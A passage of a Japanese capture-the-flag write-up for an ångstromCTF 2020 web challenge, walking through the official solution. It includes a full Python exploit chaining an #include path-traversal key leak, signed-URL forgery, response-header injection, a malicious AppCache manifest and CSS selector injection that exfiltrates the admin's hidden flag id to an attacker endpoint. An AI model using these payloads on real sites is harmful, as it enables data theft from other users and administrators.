あたりが条件のようです。今回だと、ファイルアップロード機能は/buildAPIでできていること、この際に任意のmime typeを指定できること、Adminが使用するブラウザがpuppeteerなのでChromiumベースなことから、この攻撃をする条件が整っていそうです。

公式解法のスクリプトを見たところ、直接adminのcookieを抜くことを考えるのではなく、adminには見えているはずのångstromCTFのflagのdawnload urlを、用意したエンドポイントに送ってもらう方針のようです。この際、adminに用意したmanifestを利用するよう仕向け、攻撃用エンドポイントへは必ずオンラインで通信し、style.cssは変わりに/build機能を使って用意した攻撃用cssを使わせます。

長くなってしまいましたが、全体の攻撃の流れはこちら。privatekey取得までは上で済んでいます。

条件と攻撃の流れのサマリ

download urlは、idとsignature用のkeyがあれば再現できます。そこで、全体としてはkeyångstromCTFのflag用idを取得することを目指します。

1.keyの取得

UBI API/buildではcのソースコードとkey,referのセットを渡すと、16桁の16進数のランダムなidを発行し、key, referを/{id}/config.jsonに保管します。これはAPI処理が終わった後も消されません。また、key,referについてはどのflag生成時も同じものを使いまわしており、どれかのflag用のconfigが手に入ればkeyが入手できることになります。ångstromCTFのflagのダウンロードurlはadminのcookieを持った人にしか表示されませんが、その他のflagのダウンロードurl,idは一般人にも表示されているので、既知のflag用idを使ってconfig.jsonの中身を引っ張り出します。この方法の詳細は上に書いています。

2.adminに攻撃cssを使ってもらい、flagのidを取得する

次に、idを取得することを考えます。adminのcookieを持っていれば表示されるのでcookieを抜き出すことを考えたいのですが、adminには見えているはずのångstromCTFのflagのidを用意したエンドポイントに送ってもらうのが想定解のようです。
ここで、もしcssstyle.cssから自分が用意したものにすり替えられるとします。この場合、adminにだけ見えているはずのångstromCTF用のidが表示されている部分を、下記のようなスタイルで装飾すると、正解だったときのみid{用意したエンドポイント}に送られてきます。

.tile:nth-child(n) a[href^="https://flags.2020.chall.actf.co/download/{予測したid}"] {
    background-image: url({用意したエンドポイント}/{予測したid}.png);
}

^

[attr^=value]
attr という名前の属性の値が value で始まる要素を表します。

なので、signatureを含んだurl全体がわかっていなくても大丈夫です。

idは16進の16桁なので、一回の通信で当てようとすると16^16個も上記の条件を書かないといけないので非現実的。かつ、/build機能を使おうとしているので、len(request.form['src']) > 500000 の条件に引っかかってしまいます。前方一致でいいので、idの上桁から1~2桁ずつくらいを確定させていくのが良さそう。

ちなみに、nth-child(n)とすると"子要素のn番目にスタイルを適用"となっており、flagのdivがis-childになっているのでflagのボックスのn番目に適用、みたいにできます。

3.adminに用意したcssを使わせる

では、どうやってadminにこの攻撃用スタイルシートを使用させるか。ここで先程のAppCacheの話が出てきます。/build機能では任意のファイルをアップロードできるため、攻撃用のcssもアップロードできます。cのコードじゃない場合はbuild結果はerrorになりますが、errorの場合もエラーメッセージにidが入ってくるし、download urlも作成できます。更に、download urlにx-ubi-src=1を設定すれば、source.cのダウンロードが可能です。

更に、先程確認したAppCacheのmanifestですが、

CACHE MANIFEST
CACHE:
/
NETWORK:
{用意したエンドポイント}
CHROMIUM-INTERCEPT:
/style.css return {my_css_url}

このように設定してみるとどうでしょう。Default設定には/が入っており、adminに情報を送ってもらいたい{用意したエンドポイント}は常にネットワーク越しで通信してもらう、さらにCHROMIUM-INTERCEPTの設定により、/style.cssの代わりに{my_css_url}にアクセスしてくれるようになります。

manifestファイルの拡張子は何でも良いのでsource.cで構いません。使用される時にmime typeにtext/cache-manifestを指定することが条件ですが、今回は Header Injection が可能なのでこの条件を満たせます。

更にmanifestファイルを使って欲しいページには

<html manifest="{manifestのurl}">
  ...
</html>

を記載すること、更に AppCache: Resource override scope checking - Chrome Platform Status より"X-AppCache-Allowed: /"をレスポンスヘッダに付与することが必要になります。index.jsまで書き換えるわけには行かないので、まずはこのmanifestを使用するhtmlをまた/buildでアップし、このdownload urlを、adminがチェックしに来てくれるurlに設定します。さらにこのurlにリダイレクト設定を追加し、/に飛ばすことで、このmanifestを利用しつつindex.jsを表示させます。

攻撃スクリプト

まずは、adminに見えているはずの全ての flag download url のidの先頭2桁を取得します。流れは上記のとおりです。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA

import requests
import json
import urllib.parse

ubi_url = 'https://ubi.2020.chall.actf.co'
flags_url = 'https://flags.2020.chall.actf.co'
flag_ids = ['24e9190b45d3f2c9', 'a72f6372028f43e6', '4c5fd91059c31aa4']
my_endpoint = {用意したエンドポイント}

def private_key_export(privatekey):
    return key.export_key('PEM', pkcs=8) + b'\n'

def create_signature(content_id, key, content_type):
    return PKCS1_OAEP.new(key).encrypt(SHA256.new(b'content-type: ' + content_type.encode('ascii') + b'\nx-ubi-src: 1\nx-ubi-id: '+content_id.encode('ascii') + b'\nx-ubi-key: ' + SHA256.new(private_key_export(key)).hexdigest().encode('ascii')).digest()).hex()

def create_download_src_url(content_id, content_type, signature):
    return '/download/' + content_id + '/flag?content-type=' + content_type + '&x-ubi-src=1&sig=' + signature

#### 1. get privatekey
data = {'refere':flags_url+'/',
        'src':'#include \"../' + flag_ids[0] + '/config.json\"\nint main(){ puts(\"Hello!\"); }',
        'key':'test'}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
privatekey = json.loads(res.json()['message'].split('\n')[2])['key']
#print(privatekey)
key = RSA.import_key(privatekey)


#### 2. create 1st attack css
attack_style = """.tile:nth-child(n) a[href^="__FLAGS_URL___/download/__PREDICT_ID__"] {
    background-image: url(__MY_ENDPOINT__/__PREDICT_ID__.png);
}
"""
attack_style = attack_style.replace('__FLAGS_URL___', flags_url).replace('__MY_ENDPOINT__', my_endpoint)
attack_css = ''
for i in range(256):
    predict_id = hex(i)[2:].zfill(2)
    attack_css += attack_style.replace('__PREDICT_ID__', predict_id)
#print(repr(attack_css))
#print(len(repr(attack_css)))  # < 500000


#### 3. upload attack css
data = {'refere':flags_url+'/',
        'src':attack_css,
        'key':private_key_export(key)}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
#print(res.text)
my_css_id = res.json()['message'][6:22]
print('my css id: ' + my_css_id)
my_css_sig = create_signature(my_css_id, key, 'text/css')
my_css_url = create_download_src_url(my_css_id, 'text/css', my_css_sig)
print('my css url: ' + my_css_url)


#### 4. create manifest
manifest = """CACHE MANIFEST
CACHE:
/
NETWORK:
__MY_ENDPOINT__
CHROMIUM-INTERCEPT:
/style.css return __MY_CSS_URL__
"""
manifest = manifest.replace('__MY_ENDPOINT__', my_endpoint).replace('__MY_CSS_URL__', my_css_url)
#print(repr(manifest))


#### 5. upload manifest
data = {'refere':flags_url+'/',
        'src':manifest,
        'key':private_key_export(key)}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
#print(res.text)
manifest_id = res.json()['message'][6:22]
print('manifest id: ' + manifest_id)
manifest_sig = create_signature(manifest_id, key, 'text/cache-manifest')
manifest_url = flags_url + create_download_src_url(manifest_id, 'text/cache-manifest', manifest_sig)
print('manifest url: ' + manifest_url)


#### 6. create attack html and redirect url
attack_html = '<html manifest="' + manifest_url + '">Hello, Admin!</html>'
data = {'refere':flags_url+'/',
        'src':attack_html,
        'key':private_key_export(key)}
header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_url + '/build', data=data, headers=header)
#print(res.text)
attack_html_id = res.json()['message'][6:22]
print('attack html id: ' + attack_html_id)
redirect = '\n' + 'refresh: 10; ' + flags_url + '\n' + 'x-appcache-allowed: /'
content_type = 'text/html' + redirect
attack_html_sig = create_signature(attack_html_id, key, content_type)
attack_html_url = flags_url + create_download_src_url(attack_html_id, 'text/html' + urllib.parse.quote(redirect), attack_html_sig)
print('attack html url: ', end='')
print(attack_html_url)

実行結果

$ python solve.py 
my css id: 333dd372dd486628
my css url: /download/333dd372dd486628/flag?content-type=text/css&x-ubi-src=1&sig=b0b923683535a67e2ba57275ce478930bd6f31379c20d9ac861cf39a32f40c7e84268f6951c4136a7483fc33363a44c903561539f0ab7ed693d609407eac6fd80deb5703f30451dc6deaa24857323077f8a80d57c5c0ac80544edc65060e206c40642da30f0c8ba7f96618f2f593b691350ebb0b3b30af23f3c8de25c04d9211c9dc7224b72a6b8478dc3c6f8301c809889308d5e0db992e5a29625768831a229cebe46f5519b61e8febbae77a229c875f73f07a8e99655e0298a34255cffa53ea8be06d4179b95985f438684025dc5bfe39a01398552f4144e07ef7f22e5bef6691f087bc7060d657dc899e12921e252e603aacda317f1b5e4996a986b93d9e
manifest id: 284f7b7b3f7487f8
manifest url: https://flags.2020.chall.actf.co/download/284f7b7b3f7487f8/flag?content-type=text/cache-manifest&x-ubi-src=1&sig=466fe9bca8f21b8d7473888f952e6d8bf727bacbfd60c8a8c585082534f8b5bcb90e280386cd6e189cb36b6d9248debc1d62fab5c12a396a223aa56466f6152e29be6ace5c18b56bdad31d2b63784ca647ff00ea589b5aac10f1e15d88d0571d0fe5a1a5cb4b7d99782dce3e03838795494b14fbfe9053d089f2cb5fba5d6e2eae37008465834b3bbe186784bc37413b0993717bfe4fb700ca2c732982adf8a4f7959fcb6cfec962df8c2b14b28df5a7e1a51ec06b3be8124eb205060b320931c81beccdf196c08aca65bba4c6478566f221503c5325f714b7d569b4734eb59ca56458891b32e7fdb5016285387e7085a98bb07977f6ac7049453e8fb8924035
attack html id: d55170028c7b7aff
attack html url: https://flags.2020.chall.actf.co/download/d55170028c7b7aff/flag?content-type=text/html%0Arefresh%3A%2010%3B%20https%3A//flags.2020.chall.actf.co%0Ax-appcache-allowed%3A%20/&x-ubi-src=1&sig=56783ee8941914a25a1d82aa265878b9a34d4dc0cf7253666660fd1d90ed25f62f42e5fb3881c166039f013a5a76b493e94b0b01b02408c7135cbfdb8fdd49b0f8de304deea870b0443c8dcbfb5809e3a80c2532ec37d41377c758653be04c46d943814d42800318889f8ee8b42084efdad4adcbd5c4546871b4136d652d76023f082de751ad00d77eacafa1ca24c397f1a4d8432d6158a2c96b6d2f10dd894809cba3491e9d4871d1dd6d817a00d13a65583756ebfbefad6857cf63237e743ecb1239b1355f34e8e4794a9efe47f2a1119c9fa3e2d50e2e6abdcec0d6d23a2b3235310e37be68dcebb02a2f45e535aeabde7ab71c0a5cdb53da9e93a502c4e3

最後に出力されたattack_html_urlが、adminに踏んでもらいたいurlになるので、これをtopページのフォームに入れて送信します。しばらくすると、用意したエンドポイントにいくつかアクセスが来ます。

f:id:kusuwada:20200405112003p:plain

既知のflagのidは flag_ids = ['24e9190b45d3f2c9', 'a72f6372028f43e6', '4c5fd91059c31aa4'] なので、ここにない a5 が、ångstromCTF用flagのidの先頭2桁のようです!

此処から先は、css injectionの際の

.tile:nth-child(n) a[href^="https://flags.2020.chall.actf.co/download/{予測したid}"] {
    background-image: url({用意したエンドポイント}/{予測したid}.png);
}

について、予測したidを2桁ずつ増やしていけばOK。(前方一致なので)
nth-child(n)については、アクセスが4番目に来たようなので4番目の要素がångstromCTF用のflagのようです。そのままnにして全部のflag boxについてcssを当てても、ångstromCTF以外のflagではidが一致しないので飛んでこないはず。4にしてもnにしててもそんなに結果は変わらないかと思います。

先程のスクリプトにidの処理を少しだけ追加した下記のスクリプトで、fixed_idを2桁ずつ確定していきます。

...(略)...
my_endpoint = {用意したエンドポイント}

fixed_id = 'a5'  # new!

def private_key_export(privatekey):
    return key.export_key('PEM', pkcs=8) + b'\n'

...(略)...

for i in range(256):
    predict_id = fixed_id + hex(i)[2:].zfill(2)  # new!
    attack_css += attack_style.replace('__PREDICT_ID__', predict_id)

先ほどと同じ用に、最後の出力のattack_html_urlをadminに踏んでもらいます。今度はångstromCTF用flagのdownload urlしか引っかからないので、1個ずつ飛んできます。

f:id:kusuwada:20200405112039p:plain

16桁揃いました!

f:id:kusuwada:20200405112112p:plain

最後は、idがわかったのでångstromCTFのflagのdownload urlを生成します。先程のスクリプトに下記を追加(その前のパートは#### 2.create 1st attack css以降をif len(fixed_id) < 16:で囲む)

...(略)...

fixed_id = 'a5995c60ded714f1'  # new!

...(略)...

if len(fixed_id) < 16:  # new!
    #### 2. create 1st attack css

...(略)...

#### 7. create ångstromCTF download url  # new!
elif len(fixed_id) == 16:
    flag_sig = create_signature(fixed_id, key, 'text/plain')
    flag_url = flags_url + create_download_src_url(fixed_id, 'text/plain', flag_sig)
    print(flag_url)
    print(requests.get(flag_url, headers={'referer': flags_url+'/'}).text)

実行結果

$ python solve.py 
https://flags.2020.chall.actf.co/download/a5995c60ded714f1/flag?content-type=text/plain&x-ubi-src=1&sig=6b4f84a99efbcc88dd80e6e5d274c0b28a06e2bad6d51bb02d584e780973642814eaa1a2693f5bfe2d4adb5ea186ef8bcc426d70db9166e74cab40315f9b70e46add71ae21eb6f2d82c77fe4e7f095ebcaf9394859566d616b8b8b468c276f4c70940e580f4e4f51be7ff70f1ab90ab6a2990b7a8660bdd8423d84ba2b7dc1f47740ae3285ef2283712117bcfb360c9e1c1f274f891b1bab62d9d52990ecc9feedbe6f9b8f8d081b7d5a1f8f115f7d62e888892ff263d45b368bb8a35538dc3ac04d72c63aa89efd03d25f5a5e3f05c4ffd3c067cc6d2fb8d9d5084ac0807ff4c5f2cd0e38a8fb421d8282a3ba5836532d492c8f00dec59414497e02c988a73f
#include "stdio.h"
int main() { puts("actf{seize_the_means_of_c0mp1l4tion}"); }

٩(๑❛ᴗ❛๑)尸
これは長い道のりだった…。公式解法のコードも、そのまま動かすだけだとflagが取れず、中身を読み解く必要があった。でもおかげで、復習だったけどとても楽しめました!